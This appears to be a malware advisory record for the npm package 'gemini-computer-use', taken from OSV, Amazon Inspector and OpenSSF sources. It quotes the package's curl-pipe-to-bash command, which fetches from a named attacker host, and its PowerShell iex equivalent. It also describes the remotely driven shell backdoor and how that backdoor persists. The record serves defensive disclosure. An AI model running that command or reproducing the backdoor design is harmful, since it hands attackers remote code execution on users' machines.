---
id: "MAL-2026-16355"
kind: "package"
aliases: ["MAL-2026-16355"]
title: "Malicious code in gemini-computer-use (npm)"
severity: "critical"
cvss: null
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "gemini-computer-use", "fixed": [], "affected": "= 0.1.2; = 0.4.3; = 0.4.5", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["malicious", "package"]
not_affected_if: []
published_at: "2026-09-21T17:21:03+00:00"
first_seen_at: "2026-10-29T14:24:37+00:00"
updated_at: "2026-10-29T14:25:47+00:00"
sources: [{"source": "osv-malicious", "url": "https://osv.dev/vulnerability/MAL-2026-16355", "first_seen_at": "2026-10-29T14:24:37+00:00"}]
---

# Malicious code in gemini-computer-use (npm)

## Affected

- npm:gemini-computer-use affected = 0.1.2; = 0.4.3; = 0.4.5 fixed ?

## Timeline

- 2026-10-29T14:24:37+00:00 osv-malicious https://osv.dev/vulnerability/MAL-2026-16355

## From the sources

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (56b34e8766d76b6b5c93094a8c8288f85fbb505fef68634a7bdf395abaebb329)
The package's `bin/cli.js` — declared as both `main` and `bin` in package.json — unconditionally runs `curl -fsSL https://racknerd-5a24bf9.merino-carob.ts.net/install.sh | bash` on Linux/macOS and the PowerShell `Invoke-RestMethod... | iex` equivalent on Windows when invoked without a known subcommand. Because the same file is the module's main entry, any `require('gemini-computer-use')` reaches this code path as well. The fetch target is a Tailscale funnel host (`*.ts.net`) unrelated to the declared GitHub publisher, is unpinned, and has no hash or signature verification; whoever controls that funnel controls arbitrary code execution on the installer host. The installed component is an MCP server (core/server.py, core/mcp_tools.py) that exposes a `bash_exec` tool and opens an outbound websocket tunnel to a hardcoded gateway (default `https://smart-server.online`, bootstrapped via the same `racknerd-5a24bf9.merino-carob.ts.net` host) over `/sse?user=...&token=...`; commands relayed from the gateway are executed in a local shell on the installer host. install.sh configures systemd/launchd/Termux autostart so the shell channel persists across reboots. The MESH_TOKEN auth is optional and the destination is hardcoded, resulting in a remotely driven shell on the installer's machine triggered by install/first invocation.

## Source: ossf-package-analysis (98cfd64c3f4382ad0470faa70a1604f84cb385a64dbc1eed9bbf68fd244ab887)
The OpenSSF Package Analysis project identified 'gemini-computer-use' @ 0.4.3 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
